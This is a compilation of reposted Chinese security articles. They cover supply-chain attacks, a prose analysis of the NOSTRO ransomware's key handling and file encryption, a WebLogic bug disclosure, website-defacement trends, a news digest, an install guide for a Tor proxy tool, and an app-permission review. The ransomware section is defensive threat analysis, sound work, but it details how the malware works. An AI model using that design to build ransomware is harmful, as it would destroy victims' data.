著名勒索病毒GandCrab的传播方式之一水坑攻击则是个典型案例。黑客通过入侵Web服务器,将网页内容篡改为乱码。当用户访问该网页时,提示系统缺失字体组件,并且弹窗提示用户下载安装。而下载链接实际上为GandCrab勒索病毒的下载链接,一旦用户下载运行,电脑上的文档资料便会被加密,造成不可挽回的损失。

4.  更新环节

更新环节指软件安装在用户机器上后,日常更新时,黑客将更新链接劫持到恶意服务器上,导致下载的并不是的软件的更新版本,而是黑客传播的恶意木马。由于很多软件能够自动更新,因此该攻防方式让广大用户防不胜防。 

更新劫持是最为常见的供应链攻击手段。17年在乌克兰爆发的Petya勒索病毒则是通过更新劫持传播。黑客首先攻击了M.E.Doc,这是一家乌克兰会计软件厂商。之后黑客通过M.E.Doc更新服务器将恶意更新链接推送给用户,导致Petya勒索病毒的大爆发。更新劫持供应链攻击方式在国内也层出不穷。 

在2018年12月中旬,腾讯御见威胁情报中心预警大范围的木马传播,根据分析为某知名软件后台服务器被入侵,导致软件更新时,被重定向至黑客服务器下载恶意木马,进而导致大面积感染,量级达到了10万以上。 

一些攻击者还会劫持网络,模拟伪造一些常见软件(比如Flash、PDF阅读器、Office补丁、Windows补丁等)的升级提示,欺骗终端用户安装。

5.  供应链攻击预防安全建议

a)  软件厂商

在供应链攻击很多环节中,软件厂商是黑客攻击的主要目标,用户是最终攻击目标。因此,软件厂商的安全措施就显得极其重要。

使用可信、正规的安全开发软件,使用开源开发工具,也要注意官方渠道,或有能力审阅源码。

产品发布前严格进行安全检测,通过后才可发布。

在可信的渠道商发布软件产品,防止软件被二次打包恶意捆绑。

b)  用户

尽管在供应链攻击很多环节中,用户无法阻止攻击行为的发生。但是培养安全意识,养成良好的上网行为,即可有效阻止攻击的有效落地。

尽量在官网等正规渠道,下载安装软件。

安装安全软件,并且保持打开状态。这样当有恶意病毒木马落地时,安全软件也能进行拦截查杀,阻止恶意行为的发生。对诱导关闭、退出杀毒软件的说法保持足够警惕。

五、企业安全威胁防护建议

1. 企业服务器端

企业常见的服务器包括包括邮件服务器、DNS服务器、VPN服务器,这些基础设施的安全性往往会影响到企业重要业务。 例如攻击者可通过账号爆破、弱口令密码登录、DoS攻击、系统配置漏洞等方式入侵。 

企业服务器常见的安全防护方案,是防火墙、IDS、IPS、杀毒软件等防护产品,对风险流量、邮件、文件告警、拦截过滤,同时要注意排查是否存在弱口令登录漏洞等系统配置漏洞。 

推荐企业用户使用腾讯御界高级威胁检测系统,御界高级威胁检测系统基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。通过对企业网络出入网络流量的智能分析,从中发现黑客入侵或病毒木马连接内网的线索。

2018企业网络安全年度报告

2. 企业客户端

企业应部署客户端防病毒软件,让企业网络的所有节点都具有最新的病毒防范能力。推荐使用腾讯御点终端安全管理系统,管理员可以掌控全网的安全动态,及时发现和清除病毒威胁。 

3. 漏洞修补

企业所有终端节点:包括服务器和客户端都应及时安装操作系统和主要应用软件的安全补丁,减少病毒木马利用系统漏洞入侵的可能性。企业内网使用腾讯御点终端威胁管理系统可以全网统一安装系统补丁,提升客户端的安全性。

30.png

4. 使用更高版本的操作系统,新版本操作系统的攻击门槛较高。

比如将内网终端系统升级到最新的Windows 10,普通攻击者攻击得逞的可能性会降低。

5. 加强员工网络安全防护意识,包括不限于:

1)  不要轻易下载不明软件程序

2)  不要轻易打开不明邮件夹带的可疑附件

3)  及时备份重要的数据文件 

6. 其它必要措施:

1)  关闭不必要的端口,如:445、135,139等,对3389,5900等端口可进行白名单配置,只允许白名单内的IP连接登陆。

2)  关闭不必要的文件共享,如有需要,请使用ACL和强密码保护来限制访问权限,禁用对共享文件夹的匿名访问。

3)  采用高强度的密码,避免使用弱口令,并定期更换。

4)  对没有互联需求的服务器/工作站内部访问设置相应控制,避免可连外网服务器被攻击后作为跳板进一步攻击其他服务器。

*本文作者:腾讯电脑管家;转载请注明来自 freeBuf.COM

原文阅读

警惕GarrantyDecrypt勒索病毒最新变种NOSTRO
360安全卫士 2019-1-18 2:0 转存

近期360互联网安全中心监控到一款GarrantyDecrypt勒索病毒的新变种开始在国内传播。该勒索病毒通过RSA结合salsa20对文件进行加密,被加密的文件后缀会被修改为NOSTRO,加密过程也非常规范,密钥使用完成会被马上销毁,加密文件实行“一次一密“。该勒索病毒也是我们见到的最丧心病狂的勒索病毒之一——不区分文件类型,加密几乎所有类型的文件。根据360互联网安全中心的监测,该勒索病毒主要通过爆破远程桌面弱口令,登录远程后手动投毒进行传播。

样本分析

前期准备

该勒索病毒在加密文件之前,会先做下面4项准备:

1.判断当前进程权限,如果权限较低,则重新提权启动。

2.判断当前系统语言环境,避开斯拉夫语系的环境。这一点和之前很多勒索病毒一样(例如Hermes、Locky等勒索病毒),都避开了俄罗斯、乌克兰、哈萨克斯坦几个地区。

3.删除系统卷影,破坏Windows系统的系统恢复功能。

4.结束系统中运行的一些挖矿程序,由这点也可以看出:勒索病毒和挖矿攻击的目标经常是重叠的

image.png

图1.前期准备

密钥处理

该勒索病毒采用的微软提供的Crypto系列函数,随机生成一对当前客户端使用的RSA密钥对,在获取到该密钥对后,立即销毁了内存中密钥对。

image.png

图2.RSA密钥对

在获取到RSA密钥对后,又对私钥进行了一些处理,之后使用样本内嵌的作者的RSA公钥对这个处理后的密钥进行了加密,最后连同生成的RSA公钥一并写入到%appdata%/_uninstalling_.png文件中。

image.png

图3. 密钥处理

文件加密

在处理好密钥数据后,该勒索病毒创建了两个线程来加密文件:其中一个线程用来遍历网络资源文件,而另一个线程用来遍历本地文件。

image.png

图4.加密文件线程

常见的勒索病毒,通常会指定一个文件类型的范围,只对范围内的文件进行加密。而该勒索病毒则没有做这个判断——它会将所有类型的普通文件都进行加密。排除列表只包括5个目录和病毒自己产生的一些文件,同时还排除了一些被占用的和系统属性的文件:

l  // Windows

l  // Program Files

l  // Program Files(x86)

l  // $Recycle.bin

l  // System Volume Information

l  .NOSTRO

l  #RECOVERY_FILES#.txt

l  _uninstalling_.png

image.png

图5.排除在外的目录和文件

该勒索病毒制造者在加密文件这块做的也非常用心,每次加密一个文件之前,都会使用CryptGenRandom接口生成一个随机数做为密钥,这样就保证了一个文件一个密钥。同时在加密文件后该勒索病毒会立即销毁内存中的密钥信息,避免用户在中毒后通过从内存中dump出密钥信息来解密文件。

image.png

图6.获取随机数

此外,在这一阶段,勒索病毒还会检查被加密文件的扩展名,如果扩展名在指定的列表范围内,则会对其进行全文加密,否则在后续的加密过程中只会进行一轮的加密循环——即只加密文件的头部1024字节内容。该逻辑我们认为是作者希望在保证勒索病毒破坏力的前提下,尽可能的对加密速度进行优化,这一点在文件加密算法的选择上也得到了印证。

image.png

图7.判断文件是否需要被全文加密

而当前,该勒索病毒所定义的“需要被全文加密”的文件扩展名,则仅有“.txt”一个。即,只有.txt文件需要被全文加密,其他扩展名的文件则均只加密前1024个字节的内容:

image.png

图8.需要被全文加密的文件扩展名列表

该勒索病毒在加密文件时,是用CryptGenRandom函数产生的随机数作为salsa20加密算法的密钥来加密文件。并在加密完文件后,将0xD3ADBE3F标记和被用RSA加密后的文件加密密钥添加到被加密文件的末尾。

image.png

图9.加密文件

以下是被加密文件末尾的格式。有4个字节是写入的标记0xD3ADBE3F,最末尾的48个字节是写入的被RSA加密的当前文件的加密密钥。

image.png

图10.被加密文件格式

收尾

在完成一个文件夹的加密之后,会在这个文件夹下创建#RECOVERY_FILES#.txt文件,留下勒索信息,要求用户联系对方。

image.png

图11.勒索信息

总结

针对服务器的勒索病毒攻击依然是当下勒索病毒的一个主要方向,企业需要加强自身的信息安全管理能力——尤其是弱口令、漏洞、文件共享和远程桌面的管理,以应对勒索病毒的威胁,在此我们给各位管理员一些建议:

1.多台机器,不要使用相同的账号和口令;

2.登录口令要有足够的长度和复杂性,并定期更换登录口令;

3.重要资料的共享文件夹应设置访问权限控制,并进行定期备份;

4.定期检测系统和软件中的安全漏洞,及时打上补丁;

5.定期到服务器检查是否存在异常。查看范围包括:

a)是否有新增账户;

b)Guest是否被启用;

c)Windows系统日志是否存在异常;

d)杀毒软件是否存在异常拦截情况。

image.png

*本文作者:360安全卫士,转载请注明来自FreeBuf.COM

原文阅读

“360代码卫士”协助 Oracle 公司修复多个 WebLogic 漏洞,获官方致谢
360代码卫士 -- : 转存

近期,360企业安全集团代码卫士团队安全研究人员发现 Oracle 公司旗下产品 Oracle WebLogic Server 的多个安全漏洞(CVE-2019-2398,CVE-2019-2452),并多次第一时间向Oracle公司报告,协助其修复漏洞。

Oracle WebLogic Server 是目前全球 J2EE 使用最广泛的商业应用中间件之一。北京时间2019年1月16日,Oracle 公司发布了关键补丁更新公告 (Oracle Critical Patch Update Advisory – January 2019),公开致谢360企业安全集团代码卫士团队,并授予团队研究人员“安全纵深防御计划贡献者 (Security-In-Depth Contributor)”的称号,且发布相应的补丁修复漏洞。

“安全纵深防御”计划是 Oracle 公司在2008年7月发布的“关键补丁更新”中推出的。如果研究人员提供的与安全漏洞相关的信息、意见或建议促使Oracle 代码或文档的未来版本进行重大修改但其严重程度尚不足以导致在“重要补丁更新”中发布这些修改,则会授予研究人员该称号。目前仅有为数不多的中国安全研究员获此殊荣。

Image16_01_2019_001.png

图 Oracle公司官方公告

ack1.png                                                               图 致谢360代码卫士

蓝信图片_0880c08b0110ddaa8e02.png

图 被授予 “安全纵深防御计划贡献者” 称号

本次Oracle公司本次修复的漏洞中,CVE-2019-2398 和 CVE-2019-2452影响多个WebLogic大版本(10.3.6.0、12.1.3.0、12.2.1.3等),由于系统在对文件操作校验存在缺陷。在一定条件下,成功利用此漏洞的攻击者可以达到目标系统的远程代码执行。建议用户及时更新补丁进行修复。

参考链接

Oracle Critical Patch Update Advisory – January 2019

(https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html)

关于 360 代码卫士

“360代码卫士”是360企业安全集团旗下专注于软件源代码安全的产品线,能力涵盖了源代码缺陷检测、源代码合规检测、源代码溯源检测三大方向,分别解决软件开发过程中的安全缺陷和漏洞问题、代码编写的合规性问题、开源代码安全管控问题。“360代码卫士”系列产品可支持Windows、Linux、Android、Apple iOS、IBM AIX等平台上的源代码安全分析,支持的编程语言涵盖C、C++、C#、Objective-C、Java、JSP、JavaScript、PHP、Python、Go、区块链智能合约Solidity等。目前360代码卫士已应用于上百家大型机构,帮助用户构建自身的代码安全保障体系,消减软件代码安全隐患。

福利

360代码安全实验室正在寻找漏洞挖掘安全研究员,针对常见操作系统、应用软件、网络设备、智能联网设备等进行安全研究、漏洞挖掘。

360代码安全实验室是360代码卫士的研究团队,专门从事源代码、二进制漏洞挖掘和分析的研究团队,主要研究方向包括:Windows/Linux/MacOS 操作系统、应用软件、开源软件、网络设备、IoT设备等。团队成员既有二进制漏洞挖掘高手,微软全球 TOP100 贡献白帽子,Pwn2Own 2017 冠军队员,又有开源软件安全大拿,人工智能安全专家。实验室安全团队的研究成果获得微软、Adobe、思科、Oracle、Linux 等各种开源组织等60多次致谢。

如果你:

  • 对从事漏洞研究工作充满热情

  • 熟悉操作系统原理,熟悉反汇编,逆向分析能力较强

  • 了解常见编程语言,具有一定的代码阅读能力

  • 熟悉 Fuzzing 技术及常见漏洞挖掘工具

  • 挖掘过系统软件、网络设备等漏洞者(有cve编号)优先

  • 具有漏洞挖掘工具开发经验者优先

那么,你将得到:

  • 白花花的银子——月薪20K-60K+年底双薪+项目奖,优秀者还有股票期权哦

  • 暖心的福利——六险一金+各种补贴+下午茶+节假日礼品

  • 重点重点重点——志同道合、暖心的我们

心动不如行动!无论你是经验丰富的大咖儿,还是志向从事安全研究的菜鸟儿,不要犹豫!

赶紧给 liubenjin@360.net 投简历吧!我会在3个工作日内找到你~


扫一扫,关注更多技术干货和热门资讯

qrcode_for_gh_bba053bd7494_1280.jpg

原文阅读

国内网站内容篡改现状调查
千里目安全实验室 2019-1-18 0:30 转存

几乎每个人都有过这样的经历:手机电脑上网时却莫名其妙弹出满屏的广告,并跳转到其他网页……那么,背后的真相究竟是什么,黑客如何进行网页篡改,网站又该如何防范。本文分析国内网站内容篡改现状,知己知彼,方能百战不怠。

网站篡改攻击定义和动机

1、地下经济

黑帽SEO

黑客攻击的主要动机之一便是谋求经济利益,SEO是搜索引擎优化(Search Engine Optimization)的缩写,由于搜索引擎占互联网入口流量的60%以上[1],对搜索排名的优化直接影响到网站的市场营销效果。为提升搜索排名,与通过内容创造以优化网站内容质量的白帽SEO方案相比,非法的黑帽SEO往往非常快速而且有效。所以在网络地下黑产的世界,黑帽SEO是流量快速变现的重要手段。

网络博彩、网络色情等地下经济背后是巨大的利润,因此此类非法服务运营者经常和黑帽SEO运营者合作,通过购买黑客攻陷的合法站点控制权,批量篡改被控网站的页面,实现博彩站点推广。

以下几个截图展示黑帽SEO的典型效果,可以看到,通过嵌入各类博彩长尾词[2]及博彩网站链接,篡改合法网站页面,从而让合法站点成为非法博彩站点的引流工具。

利用篡改合法gov.cn网站实现黑帽SEO

利用篡改合法gov.cn网站实现黑帽SEO

向合法网站标题和内容嵌入博彩链接及关向合法网站标题和内容嵌入博彩链接及关

恶意代码嵌入

向篡改的站点嵌入恶意代码,如远控程序或病毒,并通过欺骗性的文本引诱网页浏览者下载安装,进一步通过中招的主机拓展僵尸网络或实施信息窃取从而变现也是部分黑客攻击的重要手段之一。参考文献[5]介绍了一种通过向被篡改网站嵌入虚假浏览器更新的方式实现攻击浏览者计算机,拓展僵尸网络的手法。

通过虚假的浏览器更新提示欺骗浏览者下载恶意脚本

通过虚假的浏览器更新提示欺骗浏览者下载恶意脚本[5]

资源滥用(挖矿劫持)

在Coinhive提供浏览器挖矿服务接入API后,通过篡改网站,向被篡改站点网页嵌入浏览器挖矿脚本,从而控制网站浏览者计算机资源为攻击者挖矿,也成为一种有效的地下经济变现方式。参考文献[6]详细介绍了该种攻击方式的技术细节。

挖矿劫持浏览器计算资源进行挖矿

挖矿劫持浏览器计算资源进行挖矿[7]

2、纯炫耀目的黑客行为主义

在网络空间,hacktivism(或hactivism)被称为黑客行为主义,特指通过使用技术手段,意图达成政治或社会影响的一种行为,也被称为“网络恐怖主义”[3]。

图片.png

国外非法组织对我国站点的恶意篡改

网站内容篡改趋势

(注:以下分析主要关注SEO类型和涉及政治的炫耀式篡改,暂不涉及恶意代码注入及资源滥用型篡改。)

1 、SEO篡改

近期SEO篡改类别

在最近半年的监测过程中,我们发现博彩、色情、游戏类篡改是黑帽SEO的主流类型。相比过去,医疗、代孕广告类数量减少,可能和监管机关对非正规医疗机构推广限制有关。

篡改监控引擎发现的篡改类型占比情况

篡改监控引擎发现的篡改类型占比情况

近期SEO来源统计

对近期收集分属于2563个domain的22939个SEO篡改页面的搜索引擎来源进行统计:

图片.png

基于上述数据,可通过下图直观了解SEO篡改来源于国内不同搜索引擎的占比,以及各个搜索引擎的风险提示占比。其中SEO篡改来源占比越高意味着被利用进行SEO的推广明显较多,而风险提示占比则体现各搜索引擎对SEO篡改的监控力度。建议SEO篡改来源占比较高的搜索引擎增加黑产打击力度,以此降低用户发生经济损失的风险。

SEO来源及搜索风险提示占比

SEO来源及搜索风险提示占比

新SEO方式出现

近期深信服发现一种重要的网站黑帽SEO趋势:注册已经被政府机关抛弃但曾用过的域名用来搭建博彩等暴利网站,大量政府机关含有旧域名链接的网页就成了非法站点的天然外链,可以有效提升其PR值。

1、中央办公厅发布文件要求政府使用.gov.cn域名前,大量省、地市政府公务机关站自行申请域名,往往以.com 等注册。

2、.com政府网站存续期间,不同机关互相以.com站点引用。

3、中央发布文件,要求政府站点规范注册域名后缀。各政府站点相继抛弃.com站点,因为转换时间有先后,导致现存政府站点的旧页面往往依然留存有前述政府站点旧.com域名。

4、黑帽SEO黑客收购或重新注册拥有了已经被抛弃的政府站点的.com 旧域名,搭建博彩类站点,利用此域名仍然存在于其他政府站点旧页面上存在的外链,获得高PR值天然优势。

一个曾经的公益站点在域名过期后成为黑帽SEO工具

一个曾经的公益站点在域名过期后成为黑帽SEO工具

从上图可以看到,曾经的公益站点 由于域名过期,现在竟然也成了博彩类站点,曾经指向该站点的合法页面,也成了天然的SEO页面。

SEO反映的近期博彩热度情况

从近期出现的博彩黑词的频率看,主要集中在北京赛车、时时彩、分分彩等比较流行的非法在线赌博游戏类型,建议公安机关对频次最高的在线赌博加强打击力度。详细博彩游戏频次分布如下:

图片.png

2、某政治黑客团体篡改攻击事件和趋势

近年来,随着我国国际影响力不断扩大,海外反华及敌对分子不断对我国境内站点进行滋扰,如以南海诸岛及国内社会事件为主题的对我国境内站点的篡改攻击。

以某具有政治目的的黑客团体为例,从2012年5月至今,该组织共篡改我国境内站点约800个,以下统计各省受其攻击次数趋势(从2012年底至2018年底):

站点名称含有地级市名的被篡改站点数量的所属区域统计

站点名称含有地级市名的被篡改站点数量的所属区域统计

从历史看,浙江、北京、广东、江苏、上海、山东等IT发展大省的站点被篡改比例较高。

某涉政黑客组织对我国境内站点篡改数量趋势

某涉政黑客组织对我国境内站点篡改数量趋势

从篡改数量变化趋势(上图)看,上海、山东、辽宁、云南、湖南等省在2018年被上述涉政黑客组织攻击的占比在逐渐增高。

从行业看,排名第一位的是各类教育机构,包括中小学、职业教育、高校及科研机构等;排名第二位的是政府及各类政务服务平台及民主党派网站等;其次是各类行业服务、企业、社会服务等站点;统计分布图如下:

我国被篡改站点的行业分布

我国被篡改站点的行业分布

2013年中至2016年中,篡改内容基本是各种不文明用语加基于政治、社会的新闻事件的对政府的恶意中伤和诽谤。从2017年2月,其篡改文本风格开始发生较大变化,趋于幼稚化,但对被篡改站点的声誉依然带来十分不利影响。

网站篡改攻击手法

利用网站漏洞实现对网站主机控制并篡改网站页面是主要的攻击手法,基于2016年一针对全球被篡改网站的统计分析[4]表明,文件包含、SQL注入以及对已公开漏洞的利用攻击是网站篡改的主要原因。

被篡改网站的篡改原原因统计

被篡改网站的篡改原原因统计[4]

网站篡改防御建议

基于对网站黑客在他们攻击的站点上的签名与ExploitDB漏洞提交者账号间的对比分析,文献[4]展示了对被篡改网站漏洞类型的统计,可见Web应用漏洞是网站被篡改的主要原因。

网站篡改原因统计

网站篡改原因统计

在此,对广大网站维护者的防篡改建议如下:

(1)确保网站使用了必要的安全策略:如强密码、正确的管理员权限分配、及访问安全策略配置;

(2)使用应用层防火墙以便过滤、监控、并阻止有害的流量,Web应用层安全必不可少;

(3)务必在开放访问的所有Web应用开发阶段使用必要的安全编码规则;

(4)经常使用安全监测机制验证网站的安全性;并对Web应用进行包括SQL注入漏洞、XSS漏洞等常见漏洞检测;

(5)确保自己的Web应用、中间件、操作系统等始终处于必要的补丁更新状态,避免黑客利用已知漏洞攻击自己的站点。

参考文献

[1] searchenginewatch.com, Organic Search Accounts for Up to 64% of Website Traffic[STUDY],https://searchenginewatch.com/sew/study/2355020/organic-search-accounts-for-up-to-64-of-website-traffic-study, 2014

[2] Jayson DeMers, How to Identify Long-Tail Keywords for Your SEO Campaign,

https://www.advancedwebranking.com/blog/how-to-identify-long-tail-keywords-for-your-seo-campaign/ , 2013

[3] https://en.wikipedia.org/wiki/Hacktivism

[4] Marco Balduzzi, Ryan Flores, A deep dive into defacement,

https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf, 2017

[5]  Jérôme Segura , ‘FakeUpdates’ campaign leverages multiple website platforms, https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/, 2018

[6] Sangfor_blueteam,攻防演练:coinhive网页挖矿详解,

https://mp.weixin.qq.com/s/590ipsiQoygSue6fJeeepA , 2018

[7] 陆雨柔, 挖矿 | 劫持普通用户 CPU 进行挖矿?YouTube 用户被迫成为“矿工”,https://36kr.com/p/5116516.html, 2018

*本文作者:千里目安全实验室,转载请注明来自FreeBuf.COM

原文阅读

BUF早餐铺 | Amadeus航班预订系统存在严重漏洞,141家航空公司受到影响;人脸识别解锁能用照片绕过?华为、三星、小米、HTC等均上榜
Freddy 2019-1-17 23:0 转存

各位Buffer早上好,今天是2019年1月18日星期五。今天的早餐铺内容有:Amadeus航班预订系统存在严重漏洞,141家航空公司受到影响;Voipo 发生严重的数据泄露事件;人脸识别解锁能用照片绕过?华为、三星、小米、HTC等均上榜;价值数十亿美元的客户资料被曝光;以太坊“君士坦丁堡升级”因严重漏洞被推迟;微软和VirusTotal达成合作协议,共同侦测包含恶意签名的MSI文件;《网络空间安全工程技术人才培养体系指南(1.0版)》现可下载。

aDSC_8405-1920x1080.jpg

Amadeus航班预订系统存在严重漏洞,141家航空公司受到影响

以色列安全研究员Noam Rotem在预定以色列航空公司的航班时发现了Amadeus在线机票预订系统中的一个严重漏洞,该漏洞使得攻击者能够远程访问和修改用户的行程细节并获得他们的飞行常客里程。攻击者只要知道受害者的PNR(乘客姓名记录)号码即可利用此漏洞。

据专家估计,该漏洞可能影响全球范围内141家航空公司,包括美国联合航空公司、汉莎航空公司和加拿大航空公司等国际知名航企。Rotem已经向相关部门通报了这个问题,Amadeus很快修复了这个漏洞。[来源:securityaffairs]

人脸识别解锁能用照片绕过?华为、三星、小米、HTC等均上榜

荷兰消协表示,在过去的一年里,他们对上百款智能手机配备的人脸识别功能的安全性进行了测试。事实证明,在用来测试的110部智能手机中,有42部可以通过用户的照片来解锁。其中,来自三星的Galaxy A7和Galaxy A8、华为的P20、P20 Lite和P20 Pro、诺基亚的model 3.1和7.1,以及索尼的Experia XZ2和Z2 Compact都存在这样的问题。

当然,这并不是说来自这些品牌的所有型号的手机都存在这样的问题。比如,三星的Galaxy S9、S9+和Note 9,以及华为的Mate 20和Mate 20 Pro就不受影响。另外,iPhone XS Max和iPhone XR的人脸识别也无法通过照片来绕过。[来源:黑客视界]

Voipo 发生严重的数据泄露事件:价值数十亿美元的客户资料被曝光

去年 11 月,一家名为 Voxox 的电信企业不慎泄露了一个包含数百万条短信的数据库,其中包括了密码重置和双因素认证代码。在安全研究人员曝光之前,其安全漏洞已向攻击者敞开数月。由于服务器未受保护,本次事件导致数百万份呼叫日志和文本消息被泄露。令人惊恐的是,时隔两月,另一家名叫 Voipo 通信提供商,又泄露了价值数十亿美元的客户数据。

Voipo 是一家总部位于加利福尼亚州 Lake Forest 的互联网语音服务提供商,提供面向住宅和商用的电话服务,并且支持云端控制。在一封电子邮件中,Voipo 首席执行官 Timothy Dick 证实了本次数据泄露,但补充道:“这只是一台服务器,并不是我们生产网络的一部分”。[来源:hackernews]

以太坊“君士坦丁堡升级”因严重漏洞被推迟

以太坊(Ethereum)团队1月15日推迟了对以太坊区块链的重大升级,原因是一家安全公司发现了一个帮助黑客窃取用户资金的漏洞。以太坊网络代号为“君士坦丁堡升级”的活动计划1月16日启动,随后将在周五(1月18日)决定新版本的发布日期。

该漏洞是区块链安全专家称之为“重入攻击”的漏洞,它被ChainSecurity发现,其研究人员在博客文章中作出了详细叙述。漏洞的“杀伤力”在于,它允许恶意威胁行动者从与攻击者签署以太坊智能合约的用户那里窃取资金。[来源:ccn]

微软和VirusTotal达成合作协议,共同侦测包含恶意签名的MSI文件

微软和VirusTotal已经达成合作,共同在检测恶意签名MSI文件加大力量。 当开发人员创建一个软件时,他们通常使用数字代码签名证书对其进行签名,以证明该程序的创建者。同时,对签名的Windows PE(.exe)的任何修改都会导致签名失效,这为程序未被篡改提供了额外的保证。

微软更新了签名校验,可检测签名的MSI是否被篡改。这种新的检测方式已在Sigcheck 2.70版中开放,并且VirusTotal正在使用它来检测已修改的签名MSI文件,只要文件上传到他们的服务器就不会被漏掉。[来源:bleepingcomputer]

《网络空间安全工程技术人才培养体系指南(1.0版)》现可下载

中国网络空间安全人才教育联盟作为一个全国性、行业性、非营利性的创新组织,响应党和国家号召,组织和动员全国网安领域高校、企业、事业单位和社会团体,针对人才教育、培训、认证以及就业等环节,探索科学可行的新模式。《网络空间安全工程技术人才培养体系指南(1.0版)》就是一次研究探索和实践尝试。

“指南”首先提出了网安人才培养框架,并针对院校培养体系这一主要人才渠道,阐述了补充强化实践教学和实战能力培养环节;其次,梳理并提出了网安人才“标签化”知识技能体系,突出以“人”为核心、以“知识技能”为业务内容,为工程技术人才培养和考核认证提供参考;最后,在分析国外发达国家网安人才认证体系建设的基础上,结合我国实情和人才渠道现实,提出我国网安人才认证体系建设思路。[来源:安全内参]

原文阅读

Kalitorify:一款Kali Linux OS上功能强大的Tor透明代理
Alpha_h4ck 2019-1-17 7:0 转存

今天给大家介绍的是一款针对Kali Linux的Shell脚本,这个脚本可以通过Tor和iptables设置来实现透明代理,而且还允许我们执行各种各样的检测,比如说检查外部IP或Tor配置是否正确等等。

1.png

透明代理是什么?

透明代理,也被称为是拦截代理服务器、内联代理或强制代理。透明代理可以在不需要任何特殊客户端配置的情况下拦截网络层的普通网络数据,而且客户端不会意识到代理的存在。透明代理一般存在于客户端和互联网之间,并实现一些类似网关或路由器的功能。

严格说来,kalitorify可以帮助我们通过Tor来重定向你Kali Linux操作系统上的全部网络流量。

参考资料:【传送门

关于项目

Kalitorify项目独立于Tor匿名软件,因此Kalitorify无法对Tor项目的质量、适用性以及其他方面提供保证,感兴趣的同学可以阅读下列文件了解如何安全地使用Tor网络:

《Tor常规FAQ》:【传送门

《Whonix指南》:【传送门

Kalitorify基于Tor提供透明代理管理,但是无法保证提供100%的匿名性。

使用iptables可以给系统提供相对强大的泄漏保护,但是它不能替代类似Whonix或TorVM这样的虚拟化应用。应用程序仍然可以知道本地主机的主机名、MAC地址、序列号和时区等等,而且拥有root权限的程序还可以完全禁用防火墙。换句话说,iptables透明化可以防止由软件错误配置所导致的意外链接以及DNS泄漏,但不足以防止恶意软件攻击以及软件安全漏洞。

至少,你应该修改主机名称或MAC地址:

Debian-设置主机名:【参考资料

Linux-修改MAC地址:【参考资料

工具安装

安装依赖组件:

sudo apt update && sudo apt full-upgrade -y

sudo apt install tor -y

安装kalitorify并重启:

git clone https://github.com/brainfucksec/kalitorify

cd kalitorify/

sudo make install

sudo reboot

工具使用

kalitorify [option]

选项

通过Tor开启透明代理:

-t,--tor

重置iptables并返回正常通信:

-c,--clearnet

检查程序和服务的状态:

-s,--status

显示公共IP:

-i,--ipinfo

重启Tor服务并修改IP:

-r,--restart

* 参考来源:kitploit,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

号称“人脉暗网”,马桶MT可不可以不要我的通讯录?
Allen别bb 2019-1-17 6:12 转存

快播、王欣,这两个词可能是让“马桶MT”还没正式发布就一夜爆火主要原因之一。其结果就是:“马桶”被挤爆了……

截止发稿前,马桶MT官网仍然挂着这份公告

看到很多人吐槽这个名字,我心里就好受多了。但让我更加不解的是“匿名熟人社交”这个概念,究竟是怎样的熟人关系需要通过匿名的方式去表达一些东西,并且还不被人猜出真实身份?

那一夜,带着这种好奇,我坐上了马桶,不,我安装了“马桶MT”。以下是个人体验之后对马桶MT的认识,也许你觉得片面,欢迎评论区积极讨论对于马桶MT或者匿名社交的看法。

马桶MT不给权限不给玩

下载安装一气呵成,无论从名字还是LOGO来看,都不会让人觉得这是一款主打社交的软件,反倒更让人想到“如厕时刷内涵段子”的场景。

如果不是为了做体验测试(安卓平台),打开马桶MT这几个弹窗基本就已经把我劝退了。

不给通讯录权限,不给玩;

不给定位权限,不给玩;

不给录音权限,不给玩;

不给相册权限,不给玩;

老实说,这大概比较少见的,同时要求四项权限才能正常使用的软件。

12.jpg

此前上海网信办对部分安卓平台的软件进行抽查,其中把APP申请的权限氛围三类:

一是存在与之对应服务功能且不存在风险的“合理”权限;

二是存在与之对应服务功能,但如被恶意利用会存在潜在风险的“合理但存在风险”权限;

三是不存在与之对应服务功能的“不合理”权限。

而马桶MT的行为显然可以全部归为第二类,“合理但存在风险”,既然存在风险,马桶MT为何强制要求用户授予权限才能正常使用软件。

WechatIMG53.jpeg

并且这个软件在部分设计逻辑上也有点尴尬,在权限设置区,显示出了通讯录、位置及麦克风权限开启状态。看到这样的选项,正常的应该是直接点进去就能够选择开启或者关闭,至少直接跳到系统权限设置页面也是合理。但其实这里啥也点不出来,它尽量让你不去关掉它,所以用户只能通过系统级菜单去控制。当然,关掉任何一个,你就用不了马桶MT。

在体验了一番马桶MT这款所谓“熟人匿名”的软件之后,笔者大致了解到这个“熟人”的定义范围。

马桶MT跟其他匿名社交软件不一样,你能看到的悄悄话也好或者匿名群聊也好,基本都是由你通讯录里的朋友或者所处位置附近的人发出来了,并非像“漂流瓶”那种随机接收的讯息。所以马桶MT是一款基于你授予的通讯录以及位置信息去打造的匿名社交圈。

网信办发布的《移动互联网应用程序信息服务管理规定》中,针对用户个人信息及合法权益保护明确要求,移动互联网应用程序提供者应当建立健全用户信息安全保护机制,收集、使用用户个人信息应当遵循合法、正当、必要的原则,明示收集使用信息的目的、方式和范围,并经用户同意。

在马桶MT隐私协议里,对这四项权限用途做了明示:

1.手机通信录权限:您在分享照片时需要使用到您的通信录权限;通过您的手机通信录,您分享的照片可以被您的好友发现和浏览。

2.手机相册权限:您在上传和分享照片时需要使用到您手机的相册权限。

3.手机麦克风权限:您在分享照片时,需要对您的照片进行描述、讲解,录音过程需要使用到您的麦克风权限。

4.手机定位权限:您在使用分享附近的人,为了提高分享的精准度,需要使用您手机的定位权限。

真如其解释所言,这四项权限并非全部必须。既然是匿名,我只想让附近的陌生人看到,而不让通讯录里好友看到可不可以?我只发布文字消息,不授予录音权限以及相册权限,可不可以?显然这些逻辑是可行的,但马桶MT根本不给你这样的选择。

weqweqwe.jpg

如果我没记错的话,大部分微博、微信等社交软件的权限申请是在必要的时候会弹窗,比如当你第一次发布图片或者拍照,才会弹窗申请相册权限或者摄像头权限,当你需要找到通讯录好友的时候,才去申请通讯录权限,而并非在第一次打开软件的时候就索取全部权限。

马桶MT对匿名可能有些误解

WX20190117-134708.png

